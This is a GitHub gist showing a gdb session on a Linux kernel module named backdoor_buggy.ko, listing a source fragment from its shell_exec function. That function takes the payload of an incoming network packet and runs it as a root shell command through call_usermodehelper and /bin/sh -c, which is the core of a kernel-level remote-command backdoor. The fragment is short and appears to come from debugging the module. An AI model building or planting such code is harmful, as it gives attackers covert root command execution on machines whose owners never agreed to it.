Created
October 28, 2013 08:53
-
-
Save labeneator/7193433 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
lmwangi@debian:~/backdoor$ gdb backdoor_buggy.ko | |
GNU gdb (GDB) 7.4.1-debian | |
Copyright (C) 2012 Free Software Foundation, Inc. | |
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> | |
This is free software: you are free to change and redistribute it. | |
There is NO WARRANTY, to the extent permitted by law. Type "show copying" | |
and "show warranty" for details. | |
This GDB was configured as "x86_64-linux-gnu". | |
For bug reporting instructions, please see: | |
<http://www.gnu.org/software/gdb/bugs/>... | |
Reading symbols from /home/lmwangi/backdoor/backdoor_buggy.ko...done. | |
(gdb) l *exec_packet+0xe3 | |
0x107 is in exec_packet (/home/lmwangi/backdoor/backdoor_buggy.c:17). | |
12 static void shell_exec (struct sk_buff *skb) { | |
13 char *envp[4] = {"HOME=/", "PATH=/sbin:/bin:/usr/sbin:/usr/bin", NULL}; | |
14 char *cmd[] = {"/bin/sh", "-c", skb->data, NULL}; | |
15 printk(KERN_INFO "About to run: %s, ", skb->data); | |
16 call_usermodehelper(cmd[0], cmd, envp, UMH_WAIT_EXEC); | |
17 kfree_skb(skb); | |
18 } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment